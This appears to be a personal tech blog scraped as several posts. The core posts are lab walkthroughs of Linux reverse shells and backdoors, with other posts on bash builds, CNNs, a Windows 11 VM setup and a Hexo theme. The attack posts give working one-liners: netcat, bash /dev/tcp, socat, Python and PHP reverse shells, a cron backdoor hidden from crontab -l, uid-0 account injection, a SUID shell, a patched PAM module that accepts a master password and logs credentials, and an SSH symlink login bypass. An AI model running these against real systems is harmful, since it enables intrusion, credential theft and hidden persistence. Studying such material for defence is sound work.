# Preparation

At the time of these notes, many Linux distributions shipped with a netcat package.

Some versions omitted the -e option.
I assumed that was a security precaution: -e lets netcat attach a local shell directly to the connection.

For this test I installed a version with the option:

wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

# Listener

Syntax: nc -lvvp <listener-port>

netcat -lvvp 23333

# Connection from the remote host

Syntax: nc <listener-IP> <listener-port> -e /bin/bash

netcat 192.168.158.139 23333 -e /bin/bash

The listener has to be running before the target connects back.

Here’s the resulting shell:

# Bash

This version uses Bash network redirection.

# Preparation

The default shell on my Kali installation was zsh.
Use echo "$SHELL" to see which login shell is configured for the current user.

I switched shells for the test:

Change the login shell: chsh -s /bin/bash
Reboot: reboot

Note: The error below occurred because the listener wasn’t running.

Some Debian builds may also have Bash network redirection disabled by default.

In that case I rebuilt Bash with --enable-net-redirections .
I wrote up the build separately in Rebuilding Bash for network redirection.

# Command

I started a local listener on the receiving machine first.

Syntax: bash -i >& /dev/tcp/<listener-IP>/<listener-port> 0>&1

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

The connection worked:
On the target, which initiated the connection:

On the listening machine:

# Explanation

bash -i
- Starts an interactive Bash shell.
>&
- Joins the streams before the operator and redirects them to the destination after it.
/dev/tcp/192.168.158.139/23333
- Bash recognises the special path /dev/tcp/ip/port.
- In this example it opens a TCP connection from the target to port 23333 on the listening host, 192.168.158.139.
0>&1
- 0 and 1 are file descriptors.
- Here standard input (0) is redirected to the same destination as standard output (1). That is how the connection carries both input and output.

# Curl and Bash

Here’s another way I tried the Bash version.
The curl command uses a shell pipeline.

# Preparing index.php

I created an index.php file on the listening machine.
Its contents were the command I’d previously run on the target for the Bash connection:

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

I saved it under the web root.
On my Kali guest running Apache2, that directory was /var/www/html/.

After starting Apache2, I found an index.php in that directory.
I could replace its contents directly. It just supplied the page shown below.

# Listener setup

Command: netcat -lvvp 23333

# Client-side request

Command: curl 192.168.158.139|bash

Here’s what that looked like:

The reverse connection succeeded:

# Shell startup files

The /etc/profile file runs when a Bash login shell starts.

# Illustration

I’d typed the command incorrectly in this screenshot, so starting Bash printed an error.

Even with the correct command, I still got an error if the receiving machine wasn’t listening:

# Procedure

I edited the file with vim /etc/profile :

I appended /bin/bash -i >& /dev/tcp/192.168.158.139/23333 0>&1 & .

The extra ampersand at the end runs the command in the background.
That leaves the login shell available to the user.

Test run

I started the listener on port 23333.
In Xshell I opened a session on the target, starting Bash.
Nothing was echoed in the login session, and the listener received a shell.

# Socat

Socat is a multipurpose networking utility for Linux, similar to netcat.
I used it on both ends of the reverse connection.

# Downloading Socat

My Kali installation already had Socat. On a machine without it, the first step was to install it.
The installation command was apt-get install socat .

# Listener

Command: socat TCP-LISTEN:23333 -

# Connecting with Socat

Command: socat tcp-connect:192.168.158.139:23333 exec:'bash -li',pty,stderr,setsid,sigint,sane

The resulting shell:

# Telnet

Sometimes neither Netcat nor /dev/tcp is available on the target.
If Telnet is installed, it offers another way to connect back.

Start a listener on the receiving host.
Either nc or socat works.
Run the command on the target to open the connection:
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
The resulting shell:

# Python

This version uses Python’s socket library.

With the listener running, I used this command:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.139",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I could also save the same Python as a .py file and run it from the command line.

Here’s the setup:

The reverse shell connected successfully:

# PHP

I started the listener and ran the following PHP script on the target:

php -r '$sock=fsockopen("192.168.158.139",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

Here’s the result:

# Closing notes

After trying these approaches, I found that they all came back to the same idea.

Whether implemented in a tool or a script, the basic pieces are a connection and redirection of input and output.

Working through the examples made a principle that had seemed rather vague to me much clearer.

Building Bash with Network Redirections

2025-04-20T05:09:20.000Z

I rebuilt Bash from source. These notes cover downloading the source, compiling it and switching to the new shell.

I used Bash 5.1.16 in a Kali virtual machine. It was already an older release when I documented this; choose the version appropriate to your own environment.

# Check the installed shell and Bash version

First check the login shell configured for the account:

echo "$SHELL"

$SHELL normally contains the login shell path. My guest used zsh by default, but also had Bash installed. Check its version separately:

bash --version

My installed version was Bash 5.1.16:

# Download and install Bash

I wanted to select a build option explicitly, so I built from source. You’ll need a C compiler and make. On Kali, sudo apt install build-essential installs the build tools.

# Download

Find the 5.1.16 source archive in the GNU Bash download directory and download it with wget:

wget https://ftp.gnu.org/gnu/bash/bash-5.1.16.tar.gz

# Extract the source

tar -zxvf bash-5.1.16.tar.gz

This creates a bash-5.1.16 directory in the working directory:

Change into it:

cd bash-5.1.16

# Configure the build

Select a separate installation prefix and explicitly enable network redirections:

./configure --prefix=/usr/local/bash --enable-net-redirections

The --prefix option puts the installation under /usr/local/bash , leaving the system’s existing Bash binary in place.

# Compile and install

Build the configured source:

make

After the build succeeds, install it under the selected prefix:

sudo make install

I was running as root in the screenshot, so the command there is simply make install .

# Use the new shell

You can launch it directly without changing the account’s login shell:

/usr/local/bash/bin/bash

To make it your login shell, check whether /etc/shells already lists /usr/local/bash/bin/bash . If it’s absent, append it:

echo '/usr/local/bash/bin/bash' | sudo tee -a /etc/shells

Set the current account’s login shell:

chsh -s /usr/local/bash/bin/bash

Log out and back in for the change to take effect. A full reboot isn’t necessary. Run echo "$SHELL" after logging back in to check the configured path.

Convolutional Neural Networks

2025-03-16T00:09:05.000Z

Applications: object detection and recognition, classification and retrieval, and super-resolution reconstruction.

Central question: how do we extract useful features?

# The architecture

In the image classifier in these notes, the convolutional network accepts the image as a three-dimensional array of height, width and channels. The spatial structure is preserved at the input instead of immediately flattening the pixels.

Input: the image array.
Convolution: extract local features.
Pooling: reduce the spatial size.
Fully connected layers: combine the features for prediction. Each output unit is connected to every unit in the preceding layer.

In the architecture shown, a ReLU activation follows each convolution. The convolution and pooling stages extract features; the classifier flattens the feature maps into a vector for the fully connected stage.

# Convolution

A filter combines local information across the input channels. If the input has $n$ channels, a conventional dense convolutional filter spans all $n$ . Each filter produces one output feature map. With $m$ filters, the output has $m$ channels.

Four parameters are worth tracking:

Stride: how far the window moves at each step. A smaller stride samples positions more densely; 1 is common.
Kernel size: a smaller window examines a more local neighbourhood. A common choice is $3\times3$ . A $1\times1$ kernel can mix channels at the same spatial location.
Padding: in a convolution without padding, central input values participate in more windows than edge values. Adding zeroes around the edges lets filters reach more boundary positions.
Number of filters: determines the number of output feature maps. Each filter learns its own weights.

When the stride divides the available distance exactly, the output dimensions are

Height: $H_2=\frac{H_1-F_H+2P}{s}+1$ .
Width: $W_2=\frac{W_1-F_W+2P}{s}+1$ .

Here $H_1,W_1$ are the input dimensions, $F_H,F_W$ the filter dimensions, $s$ the stride and $P$ the padding on each side. Convolution needn’t shrink the image: with suitable settings the output has the same height and width as the input.

# Pooling

Max pooling takes the largest value in each window. Average pooling takes its mean. Global average pooling averages the spatial positions in each channel. A pooling operation has no learned weight matrix, so it can be left out of a count of weight-bearing layers.

Downsampling loses some information. One common design choice is to increase the number of feature maps in the following convolution, for example by doubling it.

# Tracking feature map shapes

Convolution changes the features and can change the number of channels. Pooling reduces spatial dimensions. The final flattening step collects all the values from $n$ feature maps of width $w$ and height $h$ into a vector of length $w\times h\times n$ .

# Residual networks

Does adding layers always improve a network? No. The middle layers extract features. Doing that fifty times needn’t give a better result than doing it twenty times. In the example below, the deeper network actually has higher training error.

ResNet, proposed in 2015, addresses this with a residual connection. For matching input and output shapes, a residual block adds its input to the learned residual: $y=x+F(x)$ . When $F(x)$ is close to zero, the block passes the input through nearly unchanged without having to learn the identity mapping from scratch.

Installing Windows 11 in VMware Workstation

2025-02-16T10:35:51.000Z

I accidentally deleted all my virtual machines and didn’t have a backup. Here’s how I reinstalled Windows 11.

I used VMware Workstation 16.x and the March 2022 Windows 11 image, and installed the Pro edition. The steps and screenshots reflect that setup; newer releases may look different.

# Downloading the Windows 11 image

I found the image on NEXT, ITELLYOU, run by the same team as MSDN, I Tell You. Open “原版软件” (original software) in the top navigation:

Select Windows 11 from the operating system list:

I downloaded the business editions image and selected Pro during installation.

These are multi-edition images. Both include Pro; the business image includes Enterprise and the consumer image includes Home. Check the edition list in the image you downloaded.

This is the filename and ED2K link from my installation. For a new VM, the current image is also available from Microsoft’s download page.

ed2k://|file|zh-cn_windows_11_business_editions_updated_march_2022_x64_dvd_7df6eae1.iso|5582235648|B7C9D076AE16A10C9D2610207577F28D|/

# Installing Windows 11 in a VM

# Create the virtual machine

Check the memory, disk and TPM configuration together before starting the installer.

Open File → New Virtual Machine and select the downloaded ISO as the installation source.

My Workstation release had no Windows 11 entry, so I selected Microsoft Windows → Windows 10 x64. If your release offers Windows 11 x64, select that directly.

I allocated 100 GB for the virtual disk. Windows 11 requires at least 64 GB; the screenshot’s 60 GB recommendation was for Windows 10.

Before finishing the wizard, open Customize Hardware to adjust memory and processors. I used 4 GB RAM, four CPU cores and the 100 GB disk.

Microsoft’s specifications include a compatible 64-bit dual-core processor, 4 GB of memory, 64 GB of storage, Secure Boot-capable UEFI and TPM 2.0.

Leave the VM powered off for the next step.

# Add the TPM

Without a TPM, Setup can report that the PC can’t run Windows 11 even with enough memory and storage:

My version of Workstation required an encrypted VM before I could add a trusted platform module.

With the VM off, open Options → Access Control → Encrypt. Set a password and keep a copy.

The password unlocks the VM. Whether you’re prompted on subsequent launches depends on whether it was saved.

Under Hardware → Add, select Trusted Platform Module and finish the wizard.

Check that Options → Advanced uses UEFI and has Secure Boot enabled. Save and start the installer. If it still rejects the configuration, recheck the processor and memory settings. See also VMware’s Windows 11 guest installation notes.

# Boot and install

Click inside the VM so it receives keyboard input. When you see Press any key to boot from CD or DVD... , press a key promptly.

If you miss it, the VM tries other boot devices. This EFI network timeout means the VM moved on to network boot; the installer hasn’t frozen. Restart and catch the disc prompt.

Choose the installer language and other options, then select an edition. I installed Windows 11 Pro.

Select Custom: Install Windows only (advanced) for a clean installation on this blank VM.

Select the unallocated space, click New, choose a partition size and apply it. I used the entire 100 GB for the system without a separate D: drive. Setup creates the small system partitions it needs.

Select the primary Windows partition, continue and wait for Setup to copy the files and restart.

Complete the region, keyboard and account setup.

Wait for Windows to prepare the desktop.

# Installing VMware Tools

I wanted to copy commands and share files between host and guest, so I installed VMware Tools next.

Select VM → Install VMware Tools to mount the installation disc.

If the wizard doesn’t open automatically, open the virtual disc in File Explorer and run setup64 . Mine was drive D:; yours may differ.

Follow the wizard and select Typical.

Click Finish and restart the guest when prompted.

# Activating Windows 11 Pro

Check Settings → System → Activation. Mine showed Windows as unactivated:

That doesn’t mean Windows will stop booting after a fixed period. I wanted to clear the warning. Activation requires a licence for the installed edition; for personal use, enter your product key here or use an existing digital licence.

The following records the KMS procedure for an environment with the appropriate volume licence and KMS service. This is the key I used then. I haven’t verified that it still works. See Microsoft’s KMS client key guidance for the requirements.

Search for CMD and open Command Prompt as administrator.

Install the Windows 11 Pro KMS client key:

slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX

If you need to specify the KMS server manually, use slmgr /skms <server-address> with the address provided by your organisation. The address in the screenshot belongs to the original setup.

Saving the address doesn’t establish that the service is reachable or that activation has succeeded.

Run slmgr /ato to request activation.

Return to Settings to check the result:

# Adding a shared folder

With VMware Tools installed, the guest can access a shared host directory, as in my Windows 7 VM notes.

In VM settings, choose Options → Shared Folders → Always enabled and add the host directory.
In Windows 11 File Explorer, enter \\vmware-host\Shared Folders in the address bar and check that your folder appears.

To find the share by browsing Network, you may need network discovery for that network profile. The screenshot shows my setup. Direct access to the VMware path doesn’t require enabling discovery on public networks.

To make the share easier to open later, choose Map network drive from This PC.

Choose a drive letter. Enter the share path under Folder, or use Browse.

Expand vmware-host → Shared Folders → VMware共享 . The final component is the share name I chose.

Finish the wizard. The share will appear under network locations in This PC and you can open it from there.

Updating My ShokaX Theme

2025-01-20T04:05:53.000Z

Shoka-X had changed quite a bit, so I used some spare time to update my theme. I’d customised a fair number of its files the first time around. Getting those changes back was enough work that I wanted to write down the process.

For the sake of the next upgrade, I’m trying to leave the theme’s source files alone wherever I can.

PS: I found the plugin system 🎉. While I’m here, I might as well redo the Hitokoto footer and open an issue.

# Installing Shoka-X

With so many changes, including edits to the theme itself, I started in a fresh directory. I used the ShokaX starter:

	git clone https://github.com/theme-shoka-x/shokax-can --depth=1
	cd shokax-can
	pnpm install
	pnpm dlx hexo s

The fresh install ran locally. From the themes directory I then created a symlink to the installed theme:

ln -s ../node_modules/hexo-theme-shokax shokax

# Updating the configuration

PS: The music player seems to work this time without my old changes.

# Site configuration

In _config.yml I carried over:

The site description.
The URL and permalink settings.
category_map .
Deployment settings.
Minification settings, including the additional hexo-lightning-minify package. On my Mac the local run reported Error: Cannot find module '@minify-html/node-darwin-arm64' . My deployment ran in GitHub Actions, so that local issue didn’t block it.
The Algolia search configuration I used at the time.

# Copying the theme configuration

I copied _config.yml from themes/shokax to the project root and named the copy theme_config.shokax.yml . The changes I made were:

Set alternate , the large site title.
Adjust the time dark mode starts.
Add the Travellings link and icon to the menu.
Enable Waline comments, set the server URL and add placeholder text.

# Moving the source directory

I copied the contents of my existing source directory over the starter’s.

# Adding languages.yml

I realised I could override translations without editing the theme’s language files. I added languages.yml in source/_data/ . For each language, I added the travellings entry under menu for 开往. I also changed the browser tab titles shown when the page becomes active or hidden.

# Iconfont

When I first used the theme, the original Shoka project had stopped updating and joining its Iconfont project wasn’t practical. I ended up modifying the ShokaX source quite a bit.

This time I found an invitation link in the ShokaX documentation. No need to do all that again 🎉.

After joining, I added the Shoka icons to my own Iconfont project. In _config.yml I set iconfont to the identifier from the project’s hosted stylesheet, which has the form //at.alicdn.com/t/c/font_<string>.css .

I opened http://at.alicdn.com/t/c/font_<string>.css to find the new icon:

Then I copied themes/shokax/source/css/_iconfont.styl into source/_data and appended the code for the icon.

# Preconnecting to the image host

This setting was new to me, so I tried it out. Most of my images are on Cloudinary, so I added https://res.cloudinary.com under preConnect .

# SEO

I hadn’t configured this before and took the opportunity to set it up.

# Installing and writing plugins

The plugins I tried came in two forms. JavaScript plugins came as folders to download; npm plugins installed through the package manager.

# Counting visits and visitors

hexo-shokax-busuanzi is an npm plugin, so I installed it with pnpm add .

# Showing the site’s age

This JavaScript plugin took two manual steps:

Create a scripts directory in the Hexo project root and place the JavaScript file inside it.
Put the views directory at the project root as well.

My old quote feature required editing footer.pug . Once I knew the theme supported plugins, I wanted to try implementing it that way instead.

PS: I ended up making a combined plugin. Too many separate bits in the footer looked cluttered.

Linux Backdoors, Part 2

2024-12-15T15:36:35.000Z

I’ve written up the environment separately in Setting up the Linux lab.

After gaining control of a server, an intruder may leave scripts, processes or links that allow access to continue. These are often called backdoors.

This instalment looks at two Linux examples:

SSH public-key authentication
Scheduled jobs
…

# SSH public-key authentication

In this lab I manually registered my SSH public key on the target server by adding it to /root/.ssh/authorized_keys . I could then log in as root with the matching private key, without entering the account password.

Implementation:

Use Xshell's Tools -> New User Key Generation Wizard to generate SSH public key and private key: (Enter a passphrase for the private key.)
Save the generated public key file (id_rsa_2048.pub) and transfer it to the target server:
Locate the authorized_keys file. Use the command find -name authorized_keys . If it doesn't exist, create it with touch /root/.ssh/authorized_keys .
Generate an RSA key pair by running ssh-keygen -t rsa .
Add the public key to authorized_keys by running cat path/to/public_key >> /root/.ssh/authorized_keys to complete registration.
Change file permissions: chmod 600 ~/.ssh/authorized_keys and chmod 700 ~/.ssh .
The attacker uses the private key generated by Xshell and the passphrase entered when the key was generated to log in to the target server:

# Cron persistence

Once running, the cron daemon periodically checks its configuration for jobs that are due, normally once a minute.
It executes jobs according to the schedules defined there.
A crontab describes programs to run on a schedule.
We can create a scheduled backdoor using the crontab command:
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

Explanation:
echo '*/60 * * * *' : Set to execute every 60 minutes;
exec 9<>/dev/tcp/192.168.158.132/2333 : Utilize the functionality provided by bash to parse strings starting with /dev/tcp/ , specifying the server IP as 192.168.158.132 (attacker's IP), port number as 2333, specifying descriptor as 9, to establish a network connection;
exec 0<&9;exec 1>&9 2>&1; : File descriptor 0: stdin, 1: stdout, redirect both standard input and output to descriptor 9;
/bin/bash --noprofile -i : Open a shell.
Essentially, it's using Bash to connect a reverse shell back to the specified IP address.

Here, Bash needs to support network redirection, and whether it supports it depends on the compilation configuration of the Bash used.

Hiding:
However, such a backdoor can be seen by the administrator by directly executing crontab -l .

This command is actually reading the /var/spool/cron/crontabs/root file.
So, we can utilize a flaw in cat by using some escape characters, such as \r (carriage return), \n (new line), \f (form feed), to hide the command we don't want the administrator to see:
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
However, if cat -A /var/spool/cron/crontabs/root is used, it can still be seen that we have hidden something.

A Little Update from Sydney

2024-11-05T03:22:07.000Z

The short version: I’m at the University of Sydney doing the Master of Computer Science (Advanced). It’s the end of semester two, 2024, and exams are nearly here.

# Studying

Time is tight. There’s a lot of practical work here, though I’ve written my share of reports too.

Classes usually come in two flavours. In a lecture, one professor teaches a whole room of students. A tutorial is smaller and more hands-on: one tutor to a dozen or so students.

The assignments come one after another, and they’re often a headache. Some courses have weekly tasks on top of that. It’s hard to get a breather during the week, and I usually have to set aside a day of the weekend for coursework.

I’ve learned a lot, though. Some reports taught me precious little about the subject, but at least my written English got better. And reports are only a small part of it. Quite a few of the assignments have been genuinely interesting and helped me figure things out.

# Everyday life

By my reckoning, most things here cost about five times what they do back home. A few things cost about the same.

On an ordinary day I spend upwards of 150 yuan on food alone. I can live with that.

The rent is what gets me. I pay 2,100 yuan a week, or 8,400 for four weeks, and that’s about as low as I’ve seen in Sydney. Paying less would mean competing for one of the few university rooms. Even those run to around 1,600 a week. Still a lot.

# Games

After finishing the main story of The Witcher 3 and Hearts of Stone, I completely lost the urge to play anything. I even bought Black Myth: Wukong and haven’t started it yet...

The Witcher 3 really is that good. It’s about a decade old and the textures show their age, but the story, the mechanics, the combat — I had fun with all of it. Especially the story. One choice can open up so many possibilities. It was the first time I’d really felt how a story could branch and weave back together. Even the little side quests and contracts were worth doing.

Oh, and I can’t exactly leave out Gwent 🐶.

I can see why people felt Cyberpunk 2077 fell short of what CD Projekt Red could do. The mountain of bugs at launch didn’t help, but even now that the game runs much better, its story just doesn’t come close to The Witcher 3 for me.
(Phantom Liberty was pretty good, though.)

# Plans for the summer

My main plan is to work on a university project. It should be fairly relaxed, at least compared with this semester.

That leaves some time to write code for things I actually want to make. These are ideas that occurred to me in class or in everyday life and still seemed feasible after a little digging. Most tempting first:

Cyberpunk 2077 mods. Ciri once travelled to what looked like the world of Cyberpunk 2077. I’d like to bring together some existing mods and put together a Ciri cosplay set.
- Improve Always First Equip. It’s very configurable, but what I really want is something like the weapon inspect animation in VALORANT.
- Replace the main menu background. There was a mod for this, but it barely works since 2.0 and Phantom Liberty. I’ll try to fix it.
- Ciri’s clothes. A mod already exists, but the hands don’t line up properly in first person. I’d like to fix that.
- Ciri’s sword. Tweak the weapon stats in an existing mod. A little boost does help keep things fun on hard difficulty 🐶.
- Ciri has that distinctive dash you trigger with the space bar. There’s a similar ability in 2077, but in cutscenes she can actually teleport. That last bit is very much an idea; it sounds hard.
Game saves. I contributed a few features to mcthesw/game-save-manager early on. It’s passed 600 stars now. People are still suggesting improvements and features in the issues, and I’d like to see if I can contribute again.
OCR for novels. ~~I think Qidian changed something about its paid chapters.~~ Scraping no longer works on most of the sites I’ve seen, but OCR is a different matter. The app blocks screenshots on the device itself. In an Android emulator, though, a script could turn pages and Windows could capture a fixed area for OCR. It struck me that one subscriber could then make pirated copies available to other people.
Subtitle translation. I could integrate a translation service with Windows Live Captions. That would mean working with both the Windows API and the translation service’s API. I found SakiRinn/LiveCaptions-Translator on GitHub. When I tried it, quite a few things didn’t work as well as I’d hoped. There might be something I can improve there.

Linux Backdoors, Part 1

2024-10-13T15:35:57.000Z

I wrote up the environment separately in Setting up the Linux lab.

After gaining control of a server, an intruder may leave scripts, processes or links for continued access. These are called backdoors.

This part covers several examples on Linux:

Additional user accounts
Password cracking
A set-user-ID shell
PAM backdoors
SSH symlinks
…

# Add user accounts

Prerequisite: You already have a shell and root privileges on the server.

# Users with uid=0 can log in remotely

You can add a superuser account using the following command:
echo "username:x:0:0::/:/bin/sh" >> /etc/passwd
Then, use the command passwd username to change the password of the superuser.

# Trying the account

Enter the command:

(Added super user backdoor)
Then log in to the backdoor account via SSH:

As you can see, I already have root privileges:

Principle: Add an account with ID 0 to the server (because the root ID is 0).
We can open passwd using the command vim /etc/passwd , where all the mappings between usernames and IDs are stored.
The first entry belongs to root.

At the end of the file is the account I just added, backdoor .

An administrator can disable remote SSH login for accounts with UID 0. Make sure you have a regular account first so you can still log in.

Open the sshd_config file using vim /etc/ssh/sshd_config .
Find PermitRootLogin and change it to no.

Then restart the SSH service.
At this point, attempting to remotely log in to the root account via xshell will be denied.

If you encounter a situation where remote login for the uid=0 account is disabled, you can also add a regular user:
echo "username:x:1000:1000::/:/bin/sh" >> /etc/passwd
The principle is the same; as we can observe, the ID of a regular user we use is 1000.

# Adding an account without interaction

The different vulnerabilities exploited can lead to situations where attackers face no interactive functionality or no feedback.
In this situation, the first two methods are difficult to use, so the following method is given first:

The commands useradd username -u 0 -o -g root -G root and echo "password" | passwd --stdin username are used.
If the server is based on Debian, meaning the --stdin command cannot be used, the second command should be echo username:password | chpasswd , or simply use \n followed by Enter (because passwd requires the password to be entered twice): echo "password\npassword" | passwd username

First command: Use the useradd command to add a user. The -u option sets the user ID to 0 (root user), and -g and -G set the primary and supplementary groups to root. If remote root login is disabled, adjust the account parameters accordingly.
Second command: Add password (Newly created users in Linux are locked and need to be set with a password using the passwd command before they can be used).

However, this method of adding user accounts can be easily detected by administrators.

# Cracking User Passwords

If we obtain some users' passwords, we can naturally log in directly next time.

Linux stores user information in the passwd file, but the passwd file can be read by all users. Therefore, if user passwords are also stored in passwd, it will lead to password leakage.
Therefore, Linux stores password information separately in the shadow file. Only the root user has read permissions for the shadow file; other users have no permissions, thus ensuring password security.

However, if you obtain the shadow file ( /etc/shadow ), you will see that the password inside looks like this:
The image shown () is of course the hash value of the password; it won't let you see the plaintext of the password directly.

However, for weak passwords, we can crack them using the John the Ripper weak password scanner (built into Kali Linux). The usage is as follows:

Use the unshadow command to combine passwd and shadow to get test : unshadow /etc/passwd /etc/shadow > test
Dictionary cracking: Using the built-in dictionary (usr/share/john/password.lst): Command john test
Use your own dictionary: command john --wordlist=dictionary_path test

# Place SUID Shell

Prerequisite: Root access to the server has been obtained (get shell).

SUID Shell is a shell that can run with the privileges of the shell owner.
This backdoor essentially modifies the attributes (rwsr-xr-x) of the shell owned by root.

# Commands

Execute commands as root:
cp /bin/bash .shell
chmod u+s .shell
What the two commands do:

Copy /bin/bash to a file named .shell in the current directory.
After changing the permissions of the .shell file to u+s, other users will have the permissions of the file owner (while the current user is root, meaning they have root privileges).

The next time you log in to the server as a regular user, you can use the command /.shell to run this shell and thus gain root privileges.
However, bash2 has implemented some protection measures for SUID shells, so if you use the above command to run a .shell, the shell's privileges can only be elevated to root if you are local (not connected remotely). If you are running it remotely, the original privileges will remain unchanged.

In this situation, you need to use the command: /.shell -p , which will grant you root shell access remotely.

# Lab procedure

whoami returned root .

# PAM Backdoor

# Introduction to PAM:

In Linux, certain programs require authentication of the user who started them before execution, such as the commonly used su command.
However, in actual work, we often have to use different authentication mechanisms to authenticate the accounts and passwords of different programs, which results in a single host having multiple different authentication systems, which is obviously unreasonable.
Therefore, the PAM mechanism was developed. PAM can be described as an API that allows administrators to freely choose the authentication method for a program.
PAM uses configuration files located in the directory /etc/pam.d/ , which correspond to different authentication methods. The program calls the corresponding configuration file in the directory, thereby invoking the local authentication module ( /lib/security/ ).

# How the backdoor works

When we log in, we also use the PAM module to verify whether our password is correct.
Therefore, we can find the traditional password verification module (pam_unix.so) of PAM in the source code, modify the verification logic of PAM, and achieve the effect of directly returning a correct verification result instead of checking the password in the shadow.
Then compile a .so file containing the backdoor and replace the original module.

# Lab procedure

Use the script directly: https://github.com/litsand/shell/blob/master/pam.sh
Manual Change

# Download PAM source code

First, confirm the PAM version:

Debian: dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
CentOS: rpm -qa|grep pam

Using my Kali Linux instance as an example, the command dpkg -s libpam-modules | grep -i version | cut -d' ' -f2 outputs: 1.4.0-11
Go to http://www.linux-pam.org/library/ or the stable version release address on GitHub https://github.com/linux-pam/linux-pam/releases to download the source code for your version.
Download: wget https://github.com/linux-pam/linux-pam/releases/download/v1.4.0/Linux-PAM-1.4.0.tar.xz
Uncompress: tar -xvf Linux-PAM-1.4.0.tar.xz

# Modify source code

Effect 1: Adding a custom password:

Modify the file /modules/pam_unix/pam_unix_auth.c in the extracted directory:
Add the following line below line 173: if (strcmp(p,"password")==0) {return PAM_SUCCESS;}

The code is very simple: when the input 'p' matches the "password" we set, it returns a successful verification result.

Build the module:

Ensure that the gcc compiler and flex library are installed.
The compilation command is as follows:

cd Linux-PAM-1.4.0
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

To prevent the modified .so file from being incorrect, first find the original file and make a backup:

The command find / -name "pam_unix.so" (finds the original file address)
The original file is located at: /usr/lib/x86_64-linux-gnu/security/pam_unix.so
The compiled new file is located at: root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so
cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak (Backup file is located at /tmp/pam_unix.so.bak)
cp /root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so (Copy the new .so file, overwriting the original file)

Try logging in with the password you set:

(Note that an existing account is required to log in) ssh existing_username@192.168.158.128
Successfully logged in as root using the custom password hello:

Shortcomings & Improvements:

If you are an administrator, view the login logs:
To view the last 10 log entries in real time, use tail -f -n 10 /var/log/auth.log (depending on the specific situation, the log may also be /var/log/secure).
The first log entry is from logging in with the correct password via SSH, and the second log entry is from logging in with a custom password.
As you can see, the second entry has one more line than the first: Verification failed report.
This is because, on the line before we added the statement, we first used the _unix_verify_password function for verification:
Therefore, we can find the location of the function _unix_verify_password, and insert the previous line of code before it verifies, thus avoiding password verification errors.
Change the file path to Linux-PAM-1.4.0/modules/pam_unix/support.c, as shown in the image below:
After recompiling and overwriting, log in remotely via SSH and check the logs:
As you can see, the third login produced the same log entries as the first.
If the administrator is viewing the file modification time:
You can use the touch -r command to modify the time of a new file:
touch pam_unix.so -r /tmp/pam_unix.so.bak (replace with the backup file's time)
The results of using the stat pam_unix.so* command before and after the modification are shown below:
(Only two items were changed, which may still be noticed by the administrator, but the -t option can be used to set the file's time recording.)

Effect 2: Record passwords for users logging in via SSH:

Similarly, modify the file /modules/pam_unix/pam_unix_auth.c in the extracted directory:
Add the following line below line 173, as shown in the image below:

Each time a user logs in, the username (name) and password (p) are saved in the file /tmp/.record_pwd.

Save -> Compile -> Overwrite -> Log in to the account several times via SSH with the correct password, providing the recorded data -> View the saved file:
cat /tmp/.record_pwd

# SSH symbolic link backdoor

Prerequisites:

Getshell, root privileges have been obtained on the server.
PAM authentication is enabled in the SSH configuration (to verify if PAM is enabled: cat /etc/ssh/sshd_config|grep UsePAM ). It is usually enabled by default.
The firewall is off, or the port number being used is open.

# Principle:

Introduction to Symbolic Links:
A symbolic link is a special type of file that points to another file location.
Symbolic links exist as paths, similar to shortcuts in the Windows operating system.
If PAM authentication is enabled in the SSH configuration, the PAM module will search for the relevant configuration file (usually located in /etc/pam.d/ ).
The pam_rootok.so module is enabled in the /etc/pam.d/su file.
This module allows the root user to authenticate directly without needing to enter a password.
When the symbolic link file for the specified port is /path/su, if an SSH connection is made from that port, PAM will look for the corresponding configuration file in the path /etc/pam.d/ , i.e., /etc/pam.d/su .
Then, using the pam_rootok.so module enabled in su, passwordless login is achieved.

# Creating a root account

Create an SSH symbolic link: ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=port_number (ensure the port number is valid)

This command first uses ln (-f) to force the creation of a symbolic link (-s) to the file /usr/sbin/sshd , and saves it as /usr/local/su (the path is arbitrary, the filename can be changed). Then it links the su file (sshd) to the specified port.

While the name of the created symbolic link can be changed, it cannot be named arbitrarily. Available names can be viewed using the command: find /etc/pam.d|xargs grep "pam_rootok" .

# Test run

Now you can log in as root from port 2333 ( ssh root@192.168.158.128 -p 2333 ):
This demonstration uses cmd:

# Creating other accounts

PAM does not have a configuration file for passwordless login for other users beforehand. Therefore, you need to use the following command beforehand to save the content within the quotation marks to the file /etc/pam.d/username using echo , so that the configuration file with your username as the filename will use the pam_rootok.so module.

echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth includes system-auth
account includes system-auth
Passwords include system-auth
The session includes system-auth " >> /etc/pam.d/existing usernames".

Now you can see a configuration file named after your username (here, kali) in the /etc/pam.d/ folder:

Now, if you execute the command find /etc/pam.d|xargs grep "pam_rootok" again, you can see that kali has been added as a usable name:

Now, by using the command: ln -sf /usr/sbin/sshd /usr/local/kali;/usr/local/kali -oPort=port number to create a symbolic link, you can achieve the effect of passwordless login for ordinary users.

Result:

Setting Up the Linux Backdoor Lab

2024-09-15T13:36:37.000Z

